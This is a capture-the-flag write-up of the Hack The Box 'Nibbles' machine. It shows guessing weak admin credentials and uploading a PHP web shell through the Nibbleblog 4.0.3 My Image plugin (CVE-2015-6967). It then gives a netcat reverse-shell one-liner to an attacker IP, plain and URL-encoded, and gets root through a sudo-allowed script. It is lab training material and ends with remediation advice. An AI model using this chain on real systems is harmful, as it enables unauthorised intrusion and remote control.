Nibbles Writeup
Nibbles is one of the easier boxes on HTB. It hosts a vulnerable instance of nibbleblog. There’s a Metasploit exploit for it, but it’s also easy to do without MSF.
Last updated
Nibbles is one of the easier boxes on HTB. It hosts a vulnerable instance of nibbleblog. There’s a Metasploit exploit for it, but it’s also easy to do without MSF.
Last updated
Vulnerability Exploited: Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)
System Vulnerable: 10.10.10.75
Vulnerability Explanation: A week credential used by the admin user and a directory listing which is described as an inappropriately exposed, yielding potentially sensitive information to attacker, combined with unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5 allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php.
Vulnerability Fix: The publishers of the Ability Server have issued a patch to fix this known issue. To update the nibbleblog to the latest version follow the instruction on the nibbleblog official website: https://www.nibbleblog.com/
Privilege Escalation Vulnerability: Insecure service configuration
Vulnerability Fix: The system admin should have conformed to the principle of least privilege and not given a regular user the ability to run a script with root privileges.
Severity: Critical
An initial nmap scan revealed the Apache version 2.4.18 running on port 80.
The initial page on port 80:
Checking the source code for any hidden data
A hidden folder is set on the comment of the initial page. Visiting the found directory /nibbleblog/, to find the initial page as the follow:
Fuzzing the website on the existence directory to find any existing directories.
Visiting the admin area of nibbleblog 10.10.10.75/nibbleblog/admin.php
Trying the admin username with the name of the box “nibbles” as a password to login.
Checking for any public exploit using searchsploit
https://www.exploit-db.com/exploits/38489 Create a simple PHP web shell and save it on shell.php file as the follow:
Then, upload the file on the My image plugin:
On the uploading face, ignore any displayed warnings.
Visit the http://10.10.10.75/nibbleblog/content/private/plugins/my_image/ website the find the uploaded file as image.php
Clicking on the image.php and running whoami command to check the status of the uploaded file, is it working file or not, by adding ?cmd= whoami on the URL as the fallow:
Check the existence of netcat command using: “which nc” command
Using nc, a reverse shell can be established by encoding th following command as URL: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 9001 >/tmp/f
to be like:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.2%209001%20%3E%2Ftmp%2Ff
Start an nc listener on the attacker machine and inject the previous reverse shell payload on the command parameter used by the image.php file.
Receiving a reverse shell as nibbler user on port 9001
user.txt
Run sudo -l command to determine what permissions the use nibbler has.
$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
The user nibbler can run the script monitor.sh under /home/nibbler/personal/stuff as a root.
The existence folder on the nibbler is zipped, it needs to be unzipped:
Overwrite the monitor.sh content and execute it as a root
Spawning a shell using bash -i to
root.txt
Lessons Learned
To gain an initial foothold on the target machine we had to perform two things: (1) guess the credentials of the administrator, and (2) exploit a vulnerability in the installed Nibbleblog version. The application was using weak authentication credentials, and so we were able to guess the administrator credentials. The application was also using the vulnerable “My image” plugin which allowed us to run a reverse shell back to our attack machine. This shows the importance of enforcing the use of strong authentication credentials and patching your software. In this case, I’m not sure if a patch was even made available. The application also reached its end of life, so the recommendation would be to use other software to host your blog, or at the very least remove the “My image” plugin so that an attacker cannot exploit this specific vulnerability.
To escalate to root privileges, I used a security configuration that was clearly no longer needed by the user since the script is no longer there. This allowed me to run arbitrary commands with root privileges. The system admin should have conformed to the principle of least privilege and not given a regular user the ability to run a script with root privileges.
